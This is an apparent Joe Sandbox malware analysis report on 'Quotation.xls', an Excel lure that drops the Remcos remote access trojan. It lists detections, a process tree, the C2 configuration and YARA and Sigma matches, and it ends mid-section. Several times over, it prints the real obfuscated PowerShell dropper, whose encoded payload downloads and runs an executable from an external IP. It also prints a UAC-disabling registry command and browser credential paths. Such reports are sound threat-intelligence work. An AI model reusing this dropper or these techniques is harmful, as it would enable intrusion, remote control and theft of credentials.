Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Quotation.xls

Overview

General Information

Sample name:Quotation.xls
Analysis ID:1467089
MD5:93728a4082d57c877a1d0ece7c233e42
SHA1:d549cf4aa78a533c6f1426a69ee20b6e2f835f10
SHA256:559122ff10dc062b44d239d7867a47266f0b8b1088df6551dcfa0f75eb1014bb
Tags:xls
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected AntiVM3
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Yara detected obfuscated html page
.NET source code references suspicious native API functions
AI detected suspicious Excel or Word document
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
PowerShell case anomaly found
Powershell drops PE file
Searches for Windows Mail specific files
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Suspicious command line found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file does not import any functions
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 1252 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • mshta.exe (PID: 2040 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)
      • cmd.exe (PID: 1260 cmdline: "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
        • powershell.exe (PID: 2196 cmdline: POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
          • csc.exe (PID: 3128 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)
            • cvtres.exe (PID: 3136 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES25D9.tmp" "c:\Users\user\AppData\Local\Temp\nsccvpb0\CSC7FE4A73D64AC4B32BC98E072D7992CAF.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
          • igccu.exe (PID: 3244 cmdline: "C:\Users\user\AppData\Roaming\igccu.exe" MD5: A2DCC2E9DD81E3A5F6440ED7027A86DA)
            • ngen.exe (PID: 3340 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" MD5: 04C571D6C0F352ADAC5E61F4EBA2665A)
            • csc.exe (PID: 3352 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" MD5: F8F36858B9405FBE27377FD7E8FEC2F2)
            • wab.exe (PID: 3360 cmdline: "C:\Program Files (x86)\Windows Mail\wab.exe" MD5: EF162817C730DB9355F6C28F2445D206)
            • wab.exe (PID: 3368 cmdline: "C:\Program Files (x86)\Windows Mail\wab.exe" MD5: EF162817C730DB9355F6C28F2445D206)
    • mshta.exe (PID: 3572 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)
      • cmd.exe (PID: 3668 cmdline: "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
        • powershell.exe (PID: 3692 cmdline: POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)
          • csc.exe (PID: 3780 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)
            • cvtres.exe (PID: 3788 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES85A4.tmp" "c:\Users\user\AppData\Local\Temp\czjog1ic\CSCE6080EA75C65453BAA6F2713EF82B3D.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
          • igccu.exe (PID: 3836 cmdline: "C:\Users\user\AppData\Roaming\igccu.exe" MD5: A2DCC2E9DD81E3A5F6440ED7027A86DA)
            • iexplore.exe (PID: 3884 cmdline: "C:\Program Files (x86)\Internet Explorer\iexplore.exe" MD5: 8A590F790A98F3D77399BE457E01386A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "bossnacarpet.com:2556:1vegetachcnc.com:2556:1", "Assigned name": "2556", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "chrome-6W1HCC", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\IEnetCache[1].htaJoeSecurity_ObshtmlYara detected obfuscated html pageJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000001B.00000002.471431780.00000000008F5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
          • 0x6c4a8:$a1: Remcos restarted by watchdog!
          • 0x6ca20:$a3: %02i:%02i:%02i:%03i
          0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
          • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
          • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
          • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
          • 0x6656c:$str_b2: Executing file:
          • 0x675ec:$str_b3: GetDirectListeningPort
          • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
          • 0x67118:$str_b7: \update.vbs
          • 0x66594:$str_b9: Downloaded file:
          • 0x66580:$str_b10: Downloading file:
          • 0x66624:$str_b12: Failed to upload file:
          • 0x675b4:$str_b13: StartForward
          • 0x675d4:$str_b14: StopForward
          • 0x67070:$str_b15: fso.DeleteFile "
          • 0x67004:$str_b16: On Error Resume Next
          • 0x670a0:$str_b17: fso.DeleteFolder "
          • 0x66614:$str_b18: Uploaded file:
          • 0x665d4:$str_b19: Unable to delete:
          • 0x67038:$str_b20: while fso.FileExists("
          • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
          Click to see the 39 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          14.2.csc.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
            14.2.csc.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              14.2.csc.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x6c4a8:$a1: Remcos restarted by watchdog!
              • 0x6ca20:$a3: %02i:%02i:%02i:%03i
              14.2.csc.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
              • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
              • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x6656c:$str_b2: Executing file:
              • 0x675ec:$str_b3: GetDirectListeningPort
              • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x67118:$str_b7: \update.vbs
              • 0x66594:$str_b9: Downloaded file:
              • 0x66580:$str_b10: Downloading file:
              • 0x66624:$str_b12: Failed to upload file:
              • 0x675b4:$str_b13: StartForward
              • 0x675d4:$str_b14: StopForward
              • 0x67070:$str_b15: fso.DeleteFile "
              • 0x67004:$str_b16: On Error Resume Next
              • 0x670a0:$str_b17: fso.DeleteFolder "
              • 0x66614:$str_b18: Uploaded file:
              • 0x665d4:$str_b19: Unable to delete:
              • 0x67038:$str_b20: while fso.FileExists("
              • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
              14.2.csc.exe.400000.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
              • 0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
              • 0x6637c:$s1: CoGetObject
              • 0x66390:$s1: CoGetObject
              • 0x663ac:$s1: CoGetObject
              • 0x70338:$s1: CoGetObject
              • 0x6633c:$s2: Elevation:Administrator!new:
              Click to see the 58 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: File With Uncommon Extension Created By An Office Application
              Source: File createdAuthor: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 1252, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\IEnetCache[1].hta
              Sigma detected: Suspicious MSHTA Child Process
              Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiL
              Sigma detected: Suspicious Microsoft Office Child Process
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1252, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 2040, ProcessName: mshta.exe
              Sigma detected: Dynamic .NET Compilation Via Csc.EXE
              Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; 